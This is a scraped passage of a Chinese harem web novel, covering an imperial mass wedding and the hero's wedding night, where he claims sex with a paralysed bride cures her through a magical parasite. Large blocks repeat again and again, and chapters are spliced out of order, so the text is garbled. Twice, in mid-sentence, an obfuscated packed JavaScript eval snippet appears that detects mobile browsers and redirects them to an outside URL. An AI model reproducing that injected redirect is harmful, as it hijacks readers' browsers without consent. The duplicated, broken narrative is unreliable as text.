晴雯望着两人紧握的手,眼中闪过一丝释然——曾几何时,她以为自己能做林臻的小妾已经算是上位了,根本不敢想象自己如此卑微的身份也能在这金碧辉煌的金銮殿里结婚。 浣碧轻抚腰间的双鱼玉佩,那是林震仙亲自所赐,寓意“成双成对”,此刻她望着慕容嫣凤袍上的百鸟朝凤,笑得很是好看。 张俪低头看着裙裾上的金线孔雀,想起自己被林臻掳回来时的战战兢兢,如今却能站在这金銮殿内嫁给林臻,成为大乾最强世家的王妃,心中满是感慨。 殿内传来窃窃私语。 原来这位坐在步辇上的女子,就是林震仙亲自做主要许配给林臻为妻,后因为生病而退婚的上官婉儿。 林臻握着红绫的手微微收紧,目光扫过三位女子的喜服,最后将目光落在上官婉儿身上。 一时间,竟无法言语。 慕容嫣说道:“是朕下旨让她来的,在朕心中,婉儿永远是我们的家人,既然是家人,这样的重要场合自然不能缺席。” 林臻有些感动,眼眶瞬间湿润起来。 他点点头,还未来得及说话,就听到司马忠扬起声线,司仪卷轴在手中展开,金粉书写的“婚典仪程”四字熠熠生辉。 “陛下、新郎,众新娘,请牵起红绫,一拜天地——” 林臻与慕容嫣、八位佳人同时转身,面向殿外敞开的丹陛。 只见三百六十名禁军**肃立,枪尖红缨与御道红绸连成一片赤色海洋,远处长安百姓的欢呼声如潮水般涌来,直上九霄。 慕容嫣微微俯身,凤袍上的百鸟朝凤图随动作舒展,仿佛真有群鸟振翅欲飞;林臻腰背挺直如青松,红绫在他掌心绷成一道红线,与慕容嫣的指尖隔着寸许距离,却又似有无形的牵连。 而婉儿,就一直跪在步辇上,随着司马忠的声音而微微附身。 “二拜高堂——”司马忠的声音带着颤音,殿内百官不由自主地屏住呼吸。 林臻与慕容嫣转身面向林震仙。 林震仙眼眶一热,并没有起来,因为在她看来此刻的慕容嫣是孙媳妇,不是皇帝。 看着林臻、女帝与众多女子恭谨地行三叩首之礼,心中满是欣慰。 当众人起身时,慕容嫣忽然从袖中取出一枚碧玉扳指,轻轻套在林震仙手上:“王爷,这是太祖皇帝当年征战时所用,今日请您收下,愿大乾江山,代代永昌。” 林震仙手指颤抖,望着扳指上刻的“定乾坤”三字,泪水终于夺眶而出。 “夫妻对拜——”话音未落,殿外忽然狂风大作,吹得丹陛上的红绸猎猎作响。 林臻与慕容嫣相对而立,凤冠与发冠上的珠翠在风中轻颤,宛如一对振翅欲飞的鸾凤。 其余女子皆围成个圈,将两人圈在中央。 慕容嫣唇角微扬,眼波流转间尽是柔情;林臻目光灼灼,仿佛要将眼前人刻入心底。‘ 两人同时俯身,红绫在身下交织成蝶形,恰在此时,一片金箔自窗外飘入,轻轻落在红绫中央,竟像是上天赐下的婚书。 “礼成——”司马忠高声唱喏。 “陛下万岁万岁万万岁!”殿内顿时响起山呼海啸般的“万岁”声。 林臻伸手轻轻扶慕容嫣起身。 慕容嫣抬眼望他,轻声道:“从此后,这天下……” “是我们的天下。” 林臻接过话头,声音坚定而温柔。 两人相视而笑,眼中只有彼此,仿佛这金銮殿内的万千繁华,都成了背景。 八位身着喜服的女子站在一旁,盖头已被喜婆轻轻揭开。 晴雯望着两人紧握的手,眼中闪过一丝释然——曾几何时,她以为自己能做林臻的小妾已经算是上位了,根本不敢想象自己如此卑微的身份也能在这金碧辉煌的金銮殿里结婚。 浣碧轻抚腰间的双鱼玉佩,那是林震仙亲自所赐,寓意“成双成对”,此刻她望着慕容嫣凤袍上的百鸟朝凤,笑得很是好看。 张俪低头看着裙裾上的金线孔雀,想起自己被林臻掳回来时的战战兢兢,如今却能站在这金銮殿内嫁给林臻,成为大乾最强世家的王妃,心中满是感慨。 殿内传来窃窃私语。 原来这位坐在步辇上的女子,就是林震仙亲自做主要许配给林臻为妻,后因为生病而退婚的上官婉儿。 林臻握着红绫的手微微收紧,目光扫过三位女子的喜服,最后将目光落在上官婉儿身上。 一时间,竟无法言语。 慕容嫣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384261|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“是朕下旨让她来的,在朕心中,婉儿永远是我们的家人,既然是家人,这样的重要场合自然不能缺席。” 林臻有些感动,眼眶瞬间湿润起来。 他点点头,还未来得及说话,就听到司马忠扬起声线,司仪卷轴在手中展开,金粉书写的“婚典仪程”四字熠熠生辉。 “陛下、新郎,众新娘,请牵起红绫,一拜天地——” 林臻与慕容嫣、八位佳人同时转身,面向殿外敞开的丹陛。 只见三百六十名禁军**肃立,枪尖红缨与御道红绸连成一片赤色海洋,远处长安百姓的欢呼声如潮水般涌来,直上九霄。 慕容嫣微微俯身,凤袍上的百鸟朝凤图随动作舒展,仿佛真有群鸟振翅欲飞;林臻腰背挺直如青松,红绫在他掌心绷成一道红线,与慕容嫣的指尖隔着寸许距离,却又似有无形的牵连。 而婉儿,就一直跪在步辇上,随着司马忠的声音而微微附身。 “二拜高堂——”司马忠的声音带着颤音,殿内百官不由自主地屏住呼吸。 林臻与慕容嫣转身面向林震仙。 林震仙眼眶一热,并没有起来,因为在她看来此刻的慕容嫣是孙媳妇,不是皇帝。 看着林臻、女帝与众多女子恭谨地行三叩首之礼,心中满是欣慰。 当众人起身时,慕容嫣忽然从袖中取出一枚碧玉扳指,轻轻套在林震仙手上:“王爷,这是太祖皇帝当年征战时所用,今日请您收下,愿大乾江山,代代永昌。” 林震仙手指颤抖,望着扳指上刻的“定乾坤”三字,泪水终于夺眶而出。 “夫妻对拜——”话音未落,殿外忽然狂风大作,吹得丹陛上的红绸猎猎作响。 林臻与慕容嫣相对而立,凤冠与发冠上的珠翠在风中轻颤,宛如一对振翅欲飞的鸾凤。 其余女子皆围成个圈,将两人圈在中央。 慕容嫣唇角微扬,眼波流转间尽是柔情;林臻目光灼灼,仿佛要将眼前人刻入心底。‘ 两人同时俯身,红绫在身下交织成蝶形,恰在此时,一片金箔自窗外飘入,轻轻落在红绫中央,竟像是上天赐下的婚书。 “礼成——”司马忠高声唱喏。 “陛下万岁万岁万万岁!”殿内顿时响起山呼海啸般的“万岁”声。 林臻伸手轻轻扶慕容嫣起身。 慕容嫣抬眼望他,轻声道:“从此后,这天下……” “是我们的天下。” 林臻接过话头,声音坚定而温柔。 两人相视而笑,眼中只有彼此,仿佛这金銮殿内的万千繁华,都成了背景。 八位身着喜服的女子站在一旁,盖头已被喜婆轻轻揭开。 晴雯望着两人紧握的手,眼中闪过一丝释然——曾几何时,她以为自己能做林臻的小妾已经算是上位了,根本不敢想象自己如此卑微的身份也能在这金碧辉煌的金銮殿里结婚。 浣碧轻抚腰间的双鱼玉佩,那是林震仙亲自所赐,寓意“成双成对”,此刻她望着慕容嫣凤袍上的百鸟朝凤,笑得很是好看。 张俪低头看着裙裾上的金线孔雀,想起自己被林臻掳回来时的战战兢兢,如今却能站在这金銮殿内嫁给林臻,成为大乾最强世家的王妃,心中满是感慨。 殿内传来窃窃私语。 原来这位坐在步辇上的女子,就是林震仙亲自做主要许配给林臻为妻,后因为生病而退婚的上官婉儿。 林臻握着红绫的手微微收紧,目光扫过三位女子的喜服,最后将目光落在上官婉儿身上。 一时间,竟无法言语。 慕容嫣说道:“是朕下旨让她来的,在朕心中,婉儿永远是我们的家人,既然是家人,这样的重要场合自然不能缺席。” 林臻有些感动,眼眶瞬间湿润起来。 他点点头,还未来得及说话,就听到司马忠扬起声线,司仪卷轴在手中展开,金粉书写的“婚典仪程”四字熠熠生辉。 “陛下、新郎,众新娘,请牵起红绫,一拜天地——” 林臻与慕容嫣、八位佳人同时转身,面向殿外敞开的丹陛。 只见三百六十名禁军**肃立,枪尖红缨与御道红绸连成一片赤色海洋,远处长安百姓的欢呼声如潮水般涌来,直上九霄。 慕容嫣微微俯身,凤袍上的百鸟朝凤图随动作舒展,仿佛真有群鸟振翅欲飞;林臻腰背挺直如青松,红绫在他掌心绷成一道红线,与慕容嫣的指尖隔着寸许距离,却又似有无形的牵连。 而婉儿,就一直跪在步辇上,随着司马忠的声音而微微附身。 “二拜高堂——”司马忠的声音带着颤音,殿内百官不由自主地屏住呼吸。 林臻与慕容嫣转身面向林震仙。 林震仙眼眶一热,并没有起来,因为在她看来此刻的慕容嫣是孙媳妇,不是皇帝。 看着林臻、女帝与众多女子恭谨地行三叩首之礼,心中满是欣慰。 当众人起身时,慕容嫣忽然从袖中取出一枚碧玉扳指,轻轻套在林震仙手上:“王爷,这是太祖皇帝当年征战时所用,今日请您收下,愿大乾江山,代代永昌。” 林震仙手指颤抖,望着扳指上刻的“定乾坤”三字,泪水终于夺眶而出。 “夫妻对拜——”话音未落,殿外忽然狂风大作,吹得丹陛上的红绸猎猎作响。 林臻与慕容嫣相对而立,凤冠与发冠上的珠翠在风中轻颤,宛如一对振翅欲飞的鸾凤。 其余女子皆围成个圈,将两人圈在中央。 慕容嫣唇角微扬,眼波流转间尽是柔情;林臻目光灼灼,仿佛要将眼前人刻入心底。‘ 两人同时俯身,红绫在身下交织成蝶形,恰在此时,一片金箔自窗外飘入,轻轻落在红绫中央,竟像是上天赐下的婚书。 “礼成——”司马忠高声唱喏。 “陛下万岁万岁万万岁!”殿内顿时响起山呼海啸般的“万岁”声。 林臻伸手轻轻扶慕容嫣起身。 慕容嫣抬眼望他,轻声道:“从此后,这天下……” “是我们的天下。” 林臻接过话头,声音坚定而温柔。 两人相视而笑,眼中只有彼此,仿佛这金銮殿内的万千繁华,都成了背景。 八位身着喜服的女子站在一旁,盖头已被喜婆轻轻揭开。 晴雯望着两人紧握的手,眼中闪过一丝释然——曾几何时,她以为自己能做林臻的小妾已经算是上位了,根本不敢想象自己如此卑微的身份也能在这金碧辉煌的金銮殿里结婚。 浣碧轻抚腰间的双鱼玉佩,那是林震仙亲自所赐,寓意“成双成对”,此刻她望着慕容嫣凤袍上的百鸟朝凤,笑得很是好看。 张俪低头看着裙裾上的金线孔雀,想起自己被林臻掳回来时的战战兢兢,如今却能站在这金銮殿内嫁给林臻,成为大乾最强世家的王妃,心中满是感慨。 殿内传来窃窃私语。 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八位身着喜服的女子站在一旁,盖头已被喜婆轻轻揭开。 晴雯望着两人紧握的手,眼中闪过一丝释然——曾几何时,她以为自己能做林臻的小妾已经算是上位了,根本不敢想象自己如此卑微的身份也能在这金碧辉煌的金銮殿里结婚。 浣碧轻抚腰间的双鱼玉佩,那是林震仙亲自所赐,寓意“成双成对”,此刻她望着慕容嫣凤袍上的百鸟朝凤,笑得很是好看。 张俪低头看着裙裾上的金线孔雀,想起自己被林臻掳回来时的战战兢兢,如今却能站在这金銮殿内嫁给林臻,成为大乾最强世家的王妃,心中满是感慨。 第441章 恢复正常 随着司马忠的一句送入洞房,众位盖着红盖头的妻妾们在宫女太监的护送下前往后宫,也包括慕容嫣。 冷清了许久的后宫今天迎来了一万分的热闹,处处张灯结彩,铺着红地毯,每名女子都有自己的独立宫殿。 她们需要在这里住上一夜。 随着慕容嫣的退场,大家也逐渐放得开,金銮殿瞬间热闹起来,尤其是憋了许久的胖子。 他扔掉酒坛,哈哈大笑着跑过来,一把将林臻抱住。 “大哥啊!!胖爷终于见到你了!胖爷终于可以说话了啊!!胖子一声嚎叫,顿时哭得稀里哗啦,大鼻涕泡曾在林臻的新郎服上,湿了好大一片,还带着一股恶臭。 林臻满脸嫌弃地一脚将他踹开。 “装什么死啊?谁不让你说话了? “呜呜呜大哥啊,你都不知道,这段时间把胖爷都憋坏了,群众当中有坏人啊!!不行不行,今天咱哥俩必须得好好喝一杯,一醉解千愁。 林臻还是没明白他什么意思,不过看胖子那样,应该是受了不少委屈。 自己这段时间都在忙活和慕容嫣的事情,也不知道他都经历了什么。 胖子一仰头,把二锅头喝得像凉水似的,林臻耍了个心眼,偷摸把二锅头换成了醪糟。 大婚敬酒喝二锅头,那属于找死。 但醪糟就很好,好喝,而且不上头。 林臻一口干掉醪糟汁,芦德豪就走了过来。 哥俩也有挺长时间没见了,本以为德豪会很亲切地走过来喊大哥,谁知道一开口就充满了陌生:“世子,恭喜。 林臻还没回复,胖子放下酒坛子一个大嘴巴就抽了上去。 啪—— 这巴掌打得极重,芦德豪原地转了好几圈,脸瞬间就肿了。 周围人都看了过来。 芦步亭脸黑得像个锅底。 王铁男更是怒喝:“臭小子,干什么呢! 胖子没管他们,对芦德豪破口大骂:“妈了个巴子的,搁武清当几天掌柜的,连他妈大哥都不会叫了? 德豪挨胖子的打也不是第一次,林臻没在意。 谁知德豪还是那副**舅舅的表情。 说不出恼怒也说不出落寞,整个人木讷得要死。 这就奇怪了。 林臻问道:“德豪,你怎么了? 他露出个比哭还难看的笑容:“额,呵呵呵,没事,没.没事。 林臻与胖子对视一眼。 有问题。 绝对有问题。 等宴会结束必须得好好问问。 经常结婚的人都知道,婚宴是最没意思的。林臻上次结婚的时候就没怎么开心,因为要忙着捉奸,对付顾北辰。 这次大婚呢,他也没有很开心,但是却很欣慰。 因为他感觉自己好像完成了一件任务。 趁着众人推杯换盏,哈哈大笑,一边预祝大乾盛世,一边祝林震仙福如东海的时候,林臻拿着酒盏走到了金銮殿外面。 他扬起头,看了看天上那没有丝毫温度的月光。 他知道为什么楚惜灵没有来。 那是个经历过现代化改造的女子,慕容嫣亲自去请,都没能将其请来。 因为在楚惜灵眼中,她自己已经不是这个世界上的人了。 所以这些世俗的东西也没有什么意义,对她来讲。 林臻突然发现自己这边的这些姑娘都很有意思,也都很有自己的想法和特点。 他对今后的生活更加期待了。 金銮殿的热闹林臻不喜欢,如果可以,他希望自己可以多陪陪妻妾们。 两辈子没谈过恋爱的人,突然有了这么多的牵挂,也是件令人幸福的事情。 拿着酒盏,走着走着,不知不觉就来到后宫。 他对这里轻车熟路,但是他没有去找慕容嫣,即便今天名义上是她的婚礼。 他来找婉儿了。 说实话,他对婉儿没什么特殊的感情,只是知道她是自己妻子,又十分传统、执拗。 她不同其他妻妾,如果林臻今天没来找她,她一定会在房间里盖着盖头坐一宿,一直等待她的如意郎君。 果然,林臻推门而入的时候,婉儿一个人,带着红盖头,静悄悄地坐在那里。 房间里灯火昏暗,透着几分旖旎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道,我知道。婉儿,不哭了,你不会耽误我的,更不会耽误王府,你是这世间最善良的姑娘,你一定会好起来的!千万不要放弃!” 第442章 吸收的好 婉儿是第一次被男人如此有力地抱在怀里,巨大的安全感袭来让她很快止住了哭声,只轻轻地抽泣着。 她反手搂住林臻的虎腰,用尽了所有力气。 生怕下一刻,这短暂的幸福就会消失不见。 安静之中,林臻忽然想起一件事情。 噬心蛊。 如果说,每个和自己同房的女人都会被噬心蛊所影响,从而提高身体上的强度,那是不是自己也可以用这个方法来救婉儿呢? 说不定.说不定.真的可以治好她。 从其他妻妾的状况上来看,不管是已经化身成真凤的慕容嫣,还是身体越来越强健每顿能吃三碗饭的晴雯,到后来精神头越来越好的月妩、张俪等等。 她们或多或少都在被噬心蛊改变着。 她们都可以,没道理婉儿不可以,就是不知道噬心蛊与她体内的毒素谁更厉害了。 **的。 别让我抓到下毒的人,否则我一定会让你后悔来到这个世界上。 林臻把下巴枕在婉儿的头顶,感受着来自她身体与发间的香气,飘飘渺渺入鼻。 “婉儿,家里的姐妹你都见过了吗?” 婉儿埋在林臻胸口的脑袋轻轻点了点,林臻说道:“那你有没有发现,她们都很健康。” 婉儿抓住林臻虎腰的手微微一紧。 林臻知道,这是说道她的痛处了。 林臻笑着拍了拍她小巧的脑袋,松开怀抱,说道:“其实这不是正常现象,而是因为我体内的噬心蛊。” “噬心蛊?哦,妾身想起来了,是楚惜灵妹妹给你下的毒。之前,妾身也听说了夫君的情况,但是祖宗规矩不可僭越,所以没办法去看望夫君,还请夫君原谅。” 林臻站直身体,解开自己的衣襟。 这个动作不禁让婉儿俏脸一红,她低声呢喃道:“夫君.妾身腿不方便。” “我知道,你看。”林臻露出自己肌肉虬髯的胸口,左边胸肌上赫然有一片类似大蜘蛛般的殷红。 婉儿大吃一惊,忙伸手去摸:“夫君,这.这就是噬心蛊吗?” “对,我的心脏已经被它吞噬了,形成了一种共生。你不必知道什么是共生系统,你只需要知道,或许我就能治好你的病。” “真的么” 夫君又不是大夫,哪里会看病?想来她是希望自己坚持下去,所以才这么说的。 想到这,婉儿又高兴起来。 谁承想,林臻的衣服并没有合拢,而是越 凑越近,低下头,鼻尖相互对准。 婉儿望着近在咫尺的林臻,不由心头撞鹿;闻着他呼出的淡淡英雄气与酒香,更是令婉儿骨软筋麻。 好似雪狮子向火,霎时间酥了半边。 “夫唔!!”林臻不再犹豫,而是热烈地吻住婉儿的红唇。 那冰冰凉凉,好像没有体温的红唇,让林臻更加爱意爆棚,他不顾瞪大双眼不知所措的婉儿,双臂用力,将她抱起,边吻着边将她放倒在床榻上。 林臻那火热的身体让已经受尽寒意折磨的婉儿瞬间动情,双手无意识地在他头上,胸口、后背间游走。 就在婉儿感觉到什么东西的时候,林臻忽然起身,吹熄了大红色蜡烛。 第二天阳光照射进来的时候,林臻翻了个身,发现身边竟然没有人。 婉儿呢? 林臻瞬间清醒了大半,忙坐起来,一转头,就看到婉儿穿着洁白的亵衣,正依靠在窗边欣赏那株开得正艳的梅花。 噬心蛊.真的起效果了。 林臻记得昨晚,婉儿的双腿几乎是抬不起来的,成半瘫痪的样子,而现在,居然能稳稳地站在窗前,而且丝毫不受外面冷风的影响。 好啊。 这是开年后的第一件喜事!! “婉儿!” “嗯?”靠在窗边的婉儿立刻回眸,散落的青丝随着动作轻轻摆动。 尤其是那望向爱人的眼神。 那一瞬间,林臻真的觉得她美极了。 “你的腿” 婉儿下意识地看了看自己的腿,随即笑靥如花,徐徐向林臻走来。 谁知,走到半路突然腿一软就要栽倒。 林臻忙窜出去,一把将她扶住。 “婉儿,你没事吧?” 婉儿苦笑一声:“妾身还以为真的会出现奇迹呢,可还是不中用。” 言罢她看到林臻没穿鞋,焦急地道:“地上凉,夫君快快坐下,使不得。” 林臻哪里会听?不顾一切地将婉儿横抱起来,两人重新回到床上。 林臻把脚在缎子面的窗帘上蹭蹭,随即坐在床榻上问她:“婉儿,你现在感觉怎么样?可是比昨天强些?” 婉儿没回答,而是把林臻刚刚冻冰的脚抱进自己怀里,这才说话。 “早上的时候妾身想想小解,就梦游似的站了起来,这才发现双腿好像好了很多,身上也不冷了,小解回来后见到那院子里梅花开得正艳,于是就看了看。要说是不是比昨天好,那肯定是好很多的。” “果然奏效了!哈哈哈哈,这样一来,你就不需要千年人参来吊命,只需每天和我圆房即可!” 说起圆房,婉儿更是脸蛋绯红,甚至带着浓浓的感动。 因为不是所有人都能接受自己的老婆是个瘫软,并且在瘫痪的情况下继续圆房。 在婉儿看来,这正是林臻爱她的表现。 “那以后就只能辛苦夫君了呢。” “不辛苦不辛苦。”林臻连连摆手。 哪有男人嫌这种事情辛苦的,再说他和婉儿是新婚夫妻,又不是躺在一起没有任何邪念的老夫老妻。 林臻把自己的脚收回来,换了个姿势重新钻进被窝,将婉儿那丝丝凉凉的身体抱在怀里。 随即,他贴在婉儿耳边说了句什么,婉儿听后大羞! “啊?夫君.那里也可以用真的嘛?”婉儿指了指自己的嘴巴。 林臻满眼期待地点点头,并且举起双手保证:“为夫可不是为了羞你啊!更不是为了那些低俗**的事情,而是为了治你的病!噬心蛊的好处就是次数越多,效果就越好!而且吃进去肯定要比昨晚吸收得更好呢。” 凑越近,低下头,鼻尖相互对准。 婉儿望着近在咫尺的林臻,不由心头撞鹿;闻着他呼出的淡淡英雄气与酒香,更是令婉儿骨软筋麻。 好似雪狮子向火,霎时间酥了半边。 “夫唔!!”林臻不再犹豫,而是热烈地吻住婉儿的红唇。 那冰冰凉凉,好像没有体温的红唇,让林臻更加爱意爆棚,他不顾瞪大双眼不知所措的婉儿,双臂用力,将她抱起,边吻着边将她放倒在床榻上。 林臻那火热的身体让已经受尽寒意折磨的婉儿瞬间动情,双手无意识地在他头上,胸口、后背间游走。 就在婉儿感觉到什么东西的时候,林臻忽然起身,吹熄了大红色蜡烛。 第二天阳光照射进来的时候,林臻翻了个身,发现身边竟然没有人。 婉儿呢? 林臻瞬间清醒了大半,忙坐起来,一转头,就看到婉儿穿着洁白的亵衣,正依靠在窗边欣赏那株开得正艳的梅花。 噬心蛊.真的起效果了。 林臻记得昨晚,婉儿的双腿几乎是抬不起来的,成半瘫痪的样子,而现在,居然能稳稳地站在窗前,而且丝毫不受外面冷风的影响。 好啊。 这是开年后的第一件喜事!! “婉儿!” “嗯?”靠在窗边的婉儿立刻回眸,散落的青丝随着动作轻轻摆动。 尤其是那望向爱人的眼神。 那一瞬间,林臻真的觉得她美极了。 “你的腿” 婉儿下意识地看了看自己的腿,随即笑靥如花,徐徐向林臻走来。 谁知,走到半路突然腿一软就要栽倒。 林臻忙窜出去,一把将她扶住。 “婉儿,你没事吧?” 婉儿苦笑一声:“妾身还以为真的会出现奇迹呢,可还是不中用。” 言罢她看到林臻没穿鞋,焦急地道:“地上凉,夫君快快坐下,使不得。” 林臻哪里会听?不顾一切地将婉儿横抱起来,两人重新回到床上。 林臻把脚在缎子面的窗帘上蹭蹭,随即坐在床榻上问她:“婉儿,你现在感觉怎么样?可是比昨天强些?” 婉儿没回答,而是把林臻刚刚冻冰的脚抱进自己怀里,这才说话。 “早上的时候妾身想想小解,就梦游似的站了起来,这才发现双腿好像好了很多,身上也不冷了,小解回来后见到那院子里梅花开得正艳,于是就看了看。要说是不是比昨天好,那肯定是好很多的。” “果然奏效了!哈哈哈哈,这样一来,你就不需要千年人参来吊命,只需每天和我圆房即可!” 说起圆房,婉儿更是脸蛋绯红,甚至带着浓浓的感动。 因为不是所有人都能接受自己的老婆是个瘫软,并且在瘫痪的情况下继续圆房。 在婉儿看来,这正是林臻爱她的表现。 “那以后就只能辛苦夫君了呢。” “不辛苦不辛苦。”林臻连连摆手。 哪有男人嫌这种事情辛苦的,再说他和婉儿是新婚夫妻,又不是躺在一起没有任何邪念的老夫老妻。 林臻把自己的脚收回来,换了个姿势重新钻进被窝,将婉儿那丝丝凉凉的身体抱在怀里。 随即,他贴在婉儿耳边说了句什么,婉儿听后大羞! “啊?夫君.那里也可以用真的嘛?”婉儿指了指自己的嘴巴。 林臻满眼期待地点点头,并且举起双手保证:“为夫可不是为了羞你啊!更不是为了那些低俗**的事情,而是为了治你的病!噬心蛊的好处就是次数越多,效果就越好!而且吃进去肯定要比昨晚吸收得更好呢。” 凑越近,低下头,鼻尖相互对准。 婉儿望着近在咫尺的林臻,不由心头撞鹿;闻着他呼出的淡淡英雄气与酒香,更是令婉儿骨软筋麻。 好似雪狮子向火,霎时间酥了半边。 “夫唔!!”林臻不再犹豫,而是热烈地吻住婉儿的红唇。 那冰冰凉凉,好像没有体温的红唇,让林臻更加爱意爆棚,他不顾瞪大双眼不知所措的婉儿,双臂用力,将她抱起,边吻着边将她放倒在床榻上。 林臻那火热的身体让已经受尽寒意折磨的婉儿瞬间动情,双手无意识地在他头上,胸口、后背间游走。 就在婉儿感觉到什么东西的时候,林臻忽然起身,吹熄了大红色蜡烛。 第二天阳光照射进来的时候,林臻翻了个身,发现身边竟然没有人。 婉儿呢? 林臻瞬间清醒了大半,忙坐起来,一转头,就看到婉儿穿着洁白的亵衣,正依靠在窗边欣赏那株开得正艳的梅花。 噬心蛊.真的起效果了。 林臻记得昨晚,婉儿的双腿几乎是抬不起来的,成半瘫痪的样子,而现在,居然能稳稳地站在窗前,而且丝毫不受外面冷风的影响。 好啊。 这是开年后的第一件喜事!! “婉儿!” “嗯?”靠在窗边的婉儿立刻回眸,散落的青丝随着动作轻轻摆动。 尤其是那望向爱人的眼神。 那一瞬间,林臻真的觉得她美极了。 “你的腿” 婉儿下意识地看了看自己的腿,随即笑靥如花,徐徐向林臻走来。 谁知,走到半路突然腿一软就要栽倒。 林臻忙窜出去,一把将她扶住。 “婉儿,你没事吧?” 婉儿苦笑一声:“妾身还以为真的会出现奇迹呢,可还是不中用。” 言罢她看到林臻没穿鞋,焦急地道:“地上凉,夫君快快坐下,使不得。” 林臻哪里会听?不顾一切地将婉儿横抱起来,两人重新回到床上。 林臻把脚在缎子面的窗帘上蹭蹭,随即坐在床榻上问她:“婉儿,你现在感觉怎么样?可是比昨天强些?” 婉儿没回答,而是把林臻刚刚冻冰的脚抱进自己怀里,这才说话。 “早上的时候妾身想想小解,就梦游似的站了起来,这才发现双腿好像好了很多,身上也不冷了,小解回来后见到那院子里梅花开得正艳,于是就看了看。要说是不是比昨天好,那肯定是好很多的。” “果然奏效了!哈哈哈哈,这样一来,你就不需要千年人参来吊命,只需每天和我圆房即可!” 说起圆房,婉儿更是脸蛋绯红,甚至带着浓浓的感动。 因为不是所有人都能接受自己的老婆是个瘫软,并且在瘫痪的情况下继续圆房。 在婉儿看来,这正是林臻爱她的表现。 “那以后就只能辛苦夫君了呢。” “不辛苦不辛苦。”林臻连连摆手。 哪有男人嫌这种事情辛苦的,再说他和婉儿是新婚夫妻,又不是躺在一起没有任何邪念的老夫老妻。 林臻把自己的脚收回来,换了个姿势重新钻进被窝,将婉儿那丝丝凉凉的身体抱在怀里。 随即,他贴在婉儿耳边说了句什么,婉儿听后大羞! “啊?夫君.那里也可以用真的嘛?”婉儿指了指自己的嘴巴。 林臻满眼期待地点点头,并且举起双手保证:“为夫可不是为了羞你啊!更不是为了那些低俗**的事情,而是为了治你的病!噬心蛊的好处就是次数越多,效果就越好!而且吃进去肯定要比昨晚吸收得更好呢。” 凑越近,低下头,鼻尖相互对准。 婉儿望着近在咫尺的林臻,不由心头撞鹿;闻着他呼出的淡淡英雄气与酒香,更是令婉儿骨软筋麻。 好似雪狮子向火,霎时间酥了半边。 “夫唔!!”林臻不再犹豫,而是热烈地吻住婉儿的红唇。 那冰冰凉凉,好像没有体温的红唇,让林臻更加爱意爆棚,他不顾瞪大双眼不知所措的婉儿,双臂用力,将她抱起,边吻着边将她放倒在床榻上。 林臻那火热的身体让已经受尽寒意折磨的婉儿瞬间动情,双手无意识地在他头上,胸口、后背间游走。 就在婉儿感觉到什么东西的时候,林臻忽然起身,吹熄了大红色蜡烛。 第二天阳光照射进来的时候,林臻翻了个身,发现身边竟然没有人。 婉儿呢? 林臻瞬间清醒了大半,忙坐起来,一转头,就看到婉儿穿着洁白的亵衣,正依靠在窗边欣赏那株开得正艳的梅花。 噬心蛊.真的起效果了。 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婉儿呢? 林臻瞬间清醒了大半,忙坐起来,一转头,就看到婉儿穿着洁白的亵衣,正依靠在窗边欣赏那株开得正艳的梅花。 噬心蛊.真的起效果了。 林臻记得昨晚,婉儿的双腿几乎是抬不起来的,成半瘫痪的样子,而现在,居然能稳稳地站在窗前,而且丝毫不受外面冷风的影响。 好啊。 这是开年后的第一件喜事!! “婉儿!” “嗯?”靠在窗边的婉儿立刻回眸,散落的青丝随着动作轻轻摆动。 尤其是那望向爱人的眼神。 那一瞬间,林臻真的觉得她美极了。 “你的腿” 婉儿下意识地看了看自己的腿,随即笑靥如花,徐徐向林臻走来。 谁知,走到半路突然腿一软就要栽倒。 林臻忙窜出去,一把将她扶住。 “婉儿,你没事吧?” 婉儿苦笑一声:“妾身还以为真的会出现奇迹呢,可还是不中用。” 言罢她看到林臻没穿鞋,焦急地道:“地上凉,夫君快快坐下,使不得。” 林臻哪里会听?不顾一切地将婉儿横抱起来,两人重新回到床上。 林臻把脚在缎子面的窗帘上蹭蹭,随即坐在床榻上问她:“婉儿,你现在感觉怎么样?可是比昨天强些?” 婉儿没回答,而是把林臻刚刚冻冰的脚抱进自己怀里,这才说话。 “早上的时候妾身想想小解,就梦游似的站了起来,这才发现双腿好像好了很多,身上也不冷了,小解回来后见到那院子里梅花开得正艳,于是就看了看。要说是不是比昨天好,那肯定是好很多的。” “果然奏效了!哈哈哈哈,这样一来,你就不需要千年人参来吊命,只需每天和我圆房即可!” 说起圆房,婉儿更是脸蛋绯红,甚至带着浓浓的感动。 因为不是所有人都能接受自己的老婆是个瘫软,并且在瘫痪的情况下继续圆房。 在婉儿看来,这正是林臻爱她的表现。 “那以后就只能辛苦夫君了呢。” “不辛苦不辛苦。”林臻连连摆手。 哪有男人嫌这种事情辛苦的,再说他和婉儿是新婚夫妻,又不是躺在一起没有任何邪念的老夫老妻。 林臻把自己的脚收回来,换了个姿势重新钻进被窝,将婉儿那丝丝凉凉的身体抱在怀里。 随即,他贴在婉儿耳边说了句什么,婉儿听后大羞! “啊?夫君.那里也可以用真的嘛?”婉儿指了指自己的嘴巴。 林臻满眼期待地点点头,并且举起双手保证:“为夫可不是为了羞你啊!更不是为了那些低俗**的事情,而是为了治你的病!噬心蛊的好处就是次数越多,效果就越好!而且吃进去肯定要比昨晚吸收得更好呢。” 凑越近,低下头,鼻尖相互对准。 婉儿望着近在咫尺的林臻,不由心头撞鹿;闻着他呼出的淡淡英雄气与酒香,更是令婉儿骨软筋麻。 好似雪狮子向火,霎时间酥了半边。 “夫唔!!”林臻不再犹豫,而是热烈地吻住婉儿的红唇。 